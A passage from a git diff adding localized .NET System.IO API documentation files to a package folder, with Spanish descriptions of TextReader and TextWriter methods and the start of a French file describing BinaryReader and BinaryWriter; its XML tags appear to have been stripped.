cerrado. + 2 + + + Escribe un carácter en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena actual de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica de línea en la cadena. + Tarea que representa la operación de escritura asincrónico. + Carácter que se va a escribir en la cadena. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena de forma asincrónica. + Tarea que representa la operación de escritura asincrónico. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + La suma de y es mayor que la longitud del búfer. + + o son negativos. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la cadena actual. + Tarea que representa la operación de escritura asincrónico. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de cadenas. + El sistema de escritura de cadenas está actualmente en uso por una operación de escritura anterior. + + + Representa un lector que puede leer una serie secuencial de caracteres. + 2 + + + Inicializa una nueva instancia de la clase . + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true si se van a liberar los recursos administrados y no administrados; es false si se van a liberar únicamente los recursos no administrados. + + + Proporciona un TextReader sin datos del que leer. + 1 + + + Lee el siguiente carácter sin modificar el estado del sistema de lectura o el origen del carácter.Devuelve el siguiente carácter disponible sin leerlo realmente del lector. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si el lector no admite la operación de búsqueda. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter en el lector de texto y hace avanzar la posición de los caracteres en un carácter. + Carácter siguiente del lector de texto o -1 si no hay más caracteres disponibles.La implementación predeterminada devuelve -1. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si los datos están disponibles dentro del lector.Este método devuelve 0 (cero) si se llama cuando no quedan más caracteres para leer. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del lector se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 1 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en el lector de texto actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , en función de si se han leído todos los caracteres de entrada. + Cuando este método finaliza, este parámetro contiene la matriz de caracteres especificada con valores entre e ( + -1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + El objeto está cerrado. + Se produce un error de E/S. + 2 + + + Lee un número máximo de caracteres especificado en el lector de texto actual de forma asincrónica y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final del texto. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final del texto se alcanza antes de leer el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + El valor de o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres del lector de texto y devuelve los datos como una cadena. + Línea siguiente del lector o null si se han leído todos los caracteres. + Se produce un error de E/S. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El objeto está cerrado. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica una línea de caracteres y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de texto, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Cadena que contiene todos los caracteres desde la posición actual hasta el final del lector. + Se produce un error de E/S. + El objeto está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El número de caracteres de la siguiente línea es mayor que + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final del lector de texto y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final del lector de texto. + El número de caracteres es mayor que . + Se ha desechado el lector de texto. + El lector está actualmente en uso por una operación de lectura anterior. + + + Representa un sistema de escritura que puede escribir una serie secuencial de caracteres.Esta clase es abstracta. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Almacena los caracteres de nueva línea usados para el TextWriter. + + + Libera todos los recursos utilizados por el objeto . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, devuelve la codificación de caracteres en que se escribe el resultado. + Codificación de caracteres donde se escriben los resultados. + 1 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se desecha el sistema de escritura de texto. + El sistema de escritura está actualmente en uso por una operación de escritura anterior. + + + Obtiene un objeto que controla las operaciones de formato. + Objeto para una referencia cultural específica o para las operaciones de formato de la referencia cultural actual si no se especificó otra referencia cultural. + 2 + + + Obtiene o establece la cadena de terminador de línea usada por el TextWriter actual. + Cadena de terminador de línea para el TextWriter actual. + 2 + + + Proporciona un TextWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe la representación de texto de un valor Boolean en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto en la cadena o secuencia de texto mediante una llamada al método ToString en ese objeto. + Objeto que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena en la cadena o secuencia de texto. + Cadena que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero) o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato en la cadena de texto o en la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + El valor de o es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si es null, no se escribe nada. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la cadena o secuencia de texto de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si es null, no se escribirá nada en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea en la cadena o secuencia. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor Boolean seguida de un terminador de línea en la cadena o secuencia de texto. + Valor Boolean que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un carácter seguido de un terminador en la cadena o la secuencia de texto. + Carácter que se va a escribir en la secuencia de texto. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una matriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una submatriz de caracteres seguida de un terminador de línea en la cadena o secuencia de texto. + Matriz de caracteres de la que se leen los datos. + Posición del carácter en donde comenzar a leer datos. + Número máximo de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + El parámetro es null. + + o es negativo. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor decimal seguida de un terminador de línea en la cadena o secuencia de texto. + Valor decimal que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 8 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero con signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes con signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un objeto mediante una llamada al método ToString en ese objeto, seguida de un terminador de línea en la cadena o secuencia de texto. + Objeto que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un valor de punto flotante de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Valor de punto flotante de 4 bytes que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena seguida de un terminador en la cadena o la secuencia de texto. + Cadena que se va a escribir.Si es null, sólo se escribe el terminador de línea. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + El objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es uno). + 1 + + + Escribe una cadena con formato y una nueva línea en la cadena de texto o a la secuencia, con la misma semántica que el método de . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es dos). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Primer objeto al que se va a dar formato y escribir. + Segundo objeto al que se va a dar formato y escribir. + Tercer objeto al que se va a dar formato y escribir. + El valor de es null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que el número de objetos a los que se va a dar formato (que, para esta sobrecarga del método, es tres). + 1 + + + Escribe una cadena con formato y una nueva línea usando la misma semántica que . + Cadena de formato compuesto (vea Comentarios). + Matriz de objetos que contiene cero o más objetos a los que se va a aplicar formato y escribir. + Una cadena u objeto se pasa como null. + El se cierra. + Se produce un error de E/S. + + no es una cadena de formato compuesto válido.o bien El índice de un elemento de formato es menor que 0 (cero), o mayor o igual que la longitud de la matriz. + 1 + + + Escribe la representación de texto de un entero sin signo de 4 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 4 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe la representación de texto de un entero sin signo de 8 bytes seguida de un terminador de línea en la cadena o secuencia de texto. + Entero de 8 bytes sin signo que se va a escribir. + El se cierra. + Se produce un error de E/S. + 1 + + + Escribe un terminador de línea en la cadena o secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia de texto. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una matriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que se va a escribir en la secuencia de texto.Si la matriz de caracteres es null, sólo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la cadena o secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la recuperación de datos. + Número de caracteres que se van a escribir. + El valor de es null. + El plus es mayor que la longitud del búfer. + + o es negativo. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguido de un terminador de forma asincrónica en la cadena o la secuencia de texto. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de texto. + El sistema de escritura de texto está actualmente en uso por una operación de escritura anterior. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/fr/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/fr/System.IO.xml new file mode 100644 index 0000000..1743a62 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/fr/System.IO.xml @@ -0,0 +1,2201 @@ + + + + System.IO + + + + Lit les types de données primitifs sous forme de valeurs binaires avec un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux d'entrée. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + + Initialise une nouvelle instance de la classe en fonction du flux et l'encodage de caractères spécifiés. + Flux d'entrée. + Encodage des caractères à utiliser. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux d'entrée. + Encodage des caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture, il est null ou bien il est déjà fermé. + + ou a la valeur null. + + + Expose l'accès au flux sous-jacent de l'élément . + Flux sous-jacent associé à l'élément BinaryReader. + 2 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplit la mémoire tampon interne avec le nombre spécifié d'octets lus à partir du flux. + Nombre d'octets à lire. + La fin du flux est atteinte avant que n'ait pu être lu. + Une erreur d'E/S se produit. + + demandé est plus grand que la taille de la mémoire tampon interne. + + + Retourne le prochain caractère disponible et n'avance pas la position de caractère ou d'octet. + Prochain caractère disponible, ou -1 si aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + Le caractère actuel ne peut pas être décodé dans la mémoire tampon de caractères interne à l'aide du sélectionné pour le flux de données. + 2 + + + Lit les caractères du flux sous-jacent et avance la position actuelle du flux conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Caractère suivant du flux d'entrée, ou -1 si aucun caractère n'est actuellement disponible. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Lit le nombre spécifié d'octets dans le flux, en commençant à un point spécifié dans le tableau d'octets. + Nombre d'octets lus dans .Ce total peut être inférieur au nombre d'octets demandé si ce nombre d'octets n'est pas disponible, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre d'octets à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié de caractères du flux, en commençant à un point spécifié dans le tableau de caractères. + Nombre total de caractères lus dans la mémoire tampon.Ce total peut être inférieur au nombre de caractères demandé si ce nombre de caractères n'est pas disponible actuellement, ou il peut être égal à zéro si la fin du flux est atteinte. + Mémoire tampon dans laquelle lire les données. + Point de départ, dans la mémoire tampon, à partir duquel commencer la lecture de la mémoire tampon. + Nombre de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . ouLe nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + + a la valeur null. + + ou est négatif. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier 32 bits au format compressé. + Entier 32 bits au format compressé. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Le flux est endommagé. + + + Lit une valeur Boolean à partir du flux actuel et avance la position actuelle du flux d'un octet. + true si l'octet est différent de zéro ; sinon, false. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit l'octet suivant du flux actuel et avance la position actuelle du flux d'un octet. + Octet suivant lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit le nombre spécifié d'octets du flux actuel dans un tableau d'octets et avance la position actuelle de ce nombre d'octets. + Tableau d'octets contenant les données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre d'octets demandé si la fin du flux est atteinte. + Nombre d'octets à lire.Cette valeur doit être 0 ou un nombre non négatif, sinon une exception se produit. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Une erreur d'E/S se produit. + Le flux est fermé. + + est négatif. + 2 + + + Lit le caractère suivant dans le flux actuel et avance la position actuelle du flux conformément à la valeur Encoding utilisée et du caractère spécifique en cours de lecture dans le flux. + Caractère lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + Un caractère de substitution a été lu. + 2 + + + Lit le nombre spécifié de caractères dans le flux actuel, retourne les données dans un tableau de caractères et avance la position actuelle conformément à la valeur Encoding utilisée et au caractère spécifique en cours de lecture dans le flux. + Tableau de caractères contenant des données lues dans le flux sous-jacent.Cette valeur peut être inférieure au nombre de caractères demandés si la fin du flux est atteinte. + Nombre de caractères à lire. + Le nombre de caractères décodés à lire est supérieur à .Cela peut arriver si un décodeur Unicode retourne des caractères de secours ou une paire de substitution. + Le flux est fermé. + Une erreur d'E/S se produit. + + est négatif. + 2 + + + Lit une valeur décimale dans le flux actuel et avance la position actuelle du flux de 16 octets. + Valeur décimale lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Valeur à virgule flottante de 8 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 2 octets dans le flux actuel et avance la position actuelle du flux de deux octets. + Entier signé de 2 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Entier signé de 4 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier signé de 8 octets dans le flux actuel et avance la position actuelle du flux de huit octets. + Entier signé de 8 octets lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un octet signé dans ce flux et avance la position actuelle du flux d'un octet. + Octet signé lu dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position actuelle du flux de quatre octets. + Valeur à virgule flottante de 4 octets lue dans le flux actuel. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit une chaîne dans le flux actuel.La chaîne est précédée de la longueur, encodée sous la forme d'un entier de sept bits à la fois. + Chaîne en cours de lecture. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 2 octets dans le flux actuel à l'aide de l’encodage Little Endian et avance la position du flux de deux octets. + Entier non signé de 2 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de quatre octets. + Entier non signé de 4 octets lu dans ce flux. + La fin du flux est atteinte. + Le flux est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de huit octets. + Entier non signé de 8 octets lu dans ce flux. + La fin du flux est atteinte. + Une erreur d'E/S se produit. + Le flux est fermé. + 2 + + + Écrit des types primitifs en binaire dans un flux et prend en charge l'écriture de chaînes dans un encodage spécifique. + 2 + + + Initialise une nouvelle instance de la classe qui écrit dans un flux. + + + Initialise une nouvelle instance de la classe en fonction du flux spécifié et à l'aide de l'encodage UTF-8. + Flux de sortie. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + a la valeur null. + + + Initialise une nouvelle instance de la classe en fonction du flux et de l'encodage de caractères spécifiés. + Flux de sortie. + Encodage de caractères à utiliser. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Initialise une nouvelle instance de la classe selon le flux et l'encodage de caractères spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux de sortie. + Encodage de caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Obtient le flux sous-jacent de . + Flux sous-jacent associé à BinaryWriter. + 1 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + 1 + + + Spécifie sans magasin de sauvegarde. + 1 + + + Contient le flux sous-jacent. + + + Définit la position dans le flux actuel. + Position dans le flux actuel. + Offset d'octet par rapport à . + Champ de indiquant le point de référence à partir duquel la nouvelle position doit être obtenue. + Le pointeur de fichier a été déplacé vers un emplacement non valide. + La valeur n'est pas valide. + 1 + + + Écrit une valeur Boolean de 1 octet dans le flux actuel, 0 représentant false et 1 représentant true. + Valeur Boolean à écrire (0 ou 1). + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet non signé dans le flux actuel et avance la position du flux d'un octet. + Octet non signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un tableau d'octets dans le flux sous-jacent. + Tableau d'octets contenant les données à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + a la valeur null. + 1 + + + Écrit une zone d'un tableau d'octets dans le flux actuel. + Tableau d'octets contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre d'octets à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un caractère Unicode dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans 